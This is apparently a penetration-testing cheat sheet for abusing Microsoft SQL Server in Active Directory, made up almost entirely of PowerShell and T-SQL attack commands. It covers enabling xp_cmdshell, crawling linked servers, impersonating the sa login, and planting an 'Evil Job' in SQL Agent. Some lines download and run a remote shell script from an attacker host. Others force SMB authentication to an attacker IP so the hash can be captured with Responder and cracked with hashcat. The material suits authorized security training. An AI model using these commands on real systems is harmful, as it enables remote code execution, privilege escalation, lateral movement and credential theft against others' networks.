MSSQL Server Abuse

Exploit SQL Server misconfigurations and features to escalate privileges and move laterally in Active Directory.

Reference7 steps3 tools

Methodology

  1. 1Enumerate SQL Server instances
  2. 2Test for SQL Server access
  3. 3Abuse SQL Server links for lateral movement
  4. 4Execute OS commands via xp_cmdshell
  5. 5Exploit SQL Server impersonation
  6. 6Leverage SQL Server agent jobs

Detailed Steps

Discover SQL Server instances:

powershell
# PowerUpSQL
Import-Module .\PowerUpSQL.psd1

# Discover SQL instances in domain
Get-SQLInstanceDomain

# Discover via UDP broadcast
Get-SQLInstanceBroadcast

# Discover via SPN
Get-SQLInstanceScanUDP

# Check accessibility
Get-SQLInstanceDomain | Get-SQLConnectionTest

# Check current SQL instance access
Get-SQLServerInfo

Manual enumeration:

powershell
# Check for SPNs
Get-DomainUser -SPN | ?{$_.serviceprincipalname -match "MSSQLSvc"}
Get-DomainComputer -SPN | ?{$_.serviceprincipalname -match "MSSQLSvc"}

Test access and enumerate:

powershell
# Check current access level
Get-SQLServerInfo -Instance "sql01.domain.local"

# Check if sysadmin
Get-SQLQuery -Instance "sql01.domain.local" -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"

# List databases
Get-SQLDatabase -Instance "sql01.domain.local"

# Get SQL Server logins
Get-SQLServerLogin -Instance "sql01.domain.local"

# Check for impersonation
Get-SQLServerPriv -Instance "sql01.domain.local"
Invoke-SQLAudit -Instance "sql01.domain.local" -Verbose

Execute queries:

powershell
Get-SQLQuery -Instance "sql01.domain.local" -Query "SELECT @@version"
Get-SQLQuery -Instance "sql01.domain.local" -Query "SELECT SYSTEM_USER"
Get-SQLQuery -Instance "sql01.domain.local" -Query "SELECT name FROM sys.databases"

Enable and use xp_cmdshell:

powershell
# Check if xp_cmdshell is enabled
Get-SQLQuery -Instance "sql01" -Query "SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell'"

# Enable xp_cmdshell (requires sysadmin)
Get-SQLQuery -Instance "sql01" -Query "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"

# Execute OS commands
Get-SQLQuery -Instance "sql01" -Query "EXEC xp_cmdshell 'whoami'"
Get-SQLQuery -Instance "sql01" -Query "EXEC xp_cmdshell 'powershell -c whoami'"

# PowerUpSQL wrapper
Invoke-SQLOSCmd -Instance "sql01" -Command "whoami"

# Get reverse shell
Get-SQLQuery -Instance "sql01" -Query "EXEC xp_cmdshell 'powershell -c IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/shell.ps1\")'"

Enumerate linked servers:

powershell
# List linked servers
Get-SQLServerLink -Instance "sql01"
Get-SQLQuery -Instance "sql01" -Query "EXEC sp_linkedservers"

# Enumerate links recursively
Get-SQLServerLinkCrawl -Instance "sql01"

# Execute query on linked server
Get-SQLQuery -Instance "sql01" -Query "SELECT * FROM OPENQUERY(\"sql02\", 'SELECT SYSTEM_USER')"

# Execute on nested links
Get-SQLQuery -Instance "sql01" -Query "SELECT * FROM OPENQUERY(\"sql02\", 'SELECT * FROM OPENQUERY(\"sql03\", ''SELECT SYSTEM_USER'')')"

Abuse links for lateral movement:

powershell
# Execute commands via links (if xp_cmdshell enabled on linked server)
Get-SQLServerLinkCrawl -Instance "sql01" -Query "EXEC xp_cmdshell 'whoami'"

# PowerUpSQL automation
Get-SQLServerLinkCrawl -Instance "sql01" -Query "EXEC xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/shell.ps1\")'"

SQL Server user impersonation:

powershell
# Check for impersonation permissions
Get-SQLQuery -Instance "sql01" -Query "SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE'"

# List users you can impersonate
Get-SQLQuery -Instance "sql01" -Query "SELECT name FROM sys.server_principals WHERE principal_id IN (SELECT grantor_principal_id FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE')"

# Impersonate sa user
Get-SQLQuery -Instance "sql01" -Query "EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; REVERT;"

# Execute command as sa
Get-SQLQuery -Instance "sql01" -Query "EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"

# PowerUpSQL
Invoke-SQLAuditPrivImpersonateLogin -Instance "sql01"

Create malicious SQL Agent jobs:

powershell
# List existing jobs
Get-SQLQuery -Instance "sql01" -Query "SELECT * FROM msdb.dbo.sysjobs"

# Create job for command execution
Get-SQLQuery -Instance "sql01" -Query @"
USE msdb;
EXEC dbo.sp_add_job @job_name = N'Evil Job';
EXEC sp_add_jobstep @job_name = N'Evil Job', @step_name = N'Step 1', @subsystem = N'CmdExec', @command = N'whoami > C:\temp\out.txt', @retry_attempts = 1;
EXEC sp_add_jobserver @job_name = N'Evil Job', @server_name = N'(local)';
EXEC sp_start_job @job_name = N'Evil Job';
"@

# Schedule job
Get-SQLQuery -Instance "sql01" -Query "EXEC sp_add_jobschedule @job_name = N'Evil Job', @name = N'Schedule', @freq_type = 4, @freq_interval = 1, @active_start_time = 000000"

# Delete job
Get-SQLQuery -Instance "sql01" -Query "EXEC sp_delete_job @job_name = N'Evil Job'"

Capture SQL Server service account hash:

powershell
# Force SQL Server to authenticate to attacker SMB
Get-SQLQuery -Instance "sql01" -Query "EXEC xp_dirtree '\\\\attacker_ip\\share'"

# Alternative functions
Get-SQLQuery -Instance "sql01" -Query "EXEC xp_fileexist '\\\\attacker_ip\\share\\file.txt'"
Get-SQLQuery -Instance "sql01" -Query "EXEC master.dbo.xp_subdirs '\\\\attacker_ip\\share'"

# On attacker machine, capture hash with Responder/Inveigh
sudo responder -I eth0 -v

# Crack the hash
hashcat -m 5600 hash.txt wordlist.txt

© 2026. For authorized testing and education only.

Use only against systems you own or have permission to test.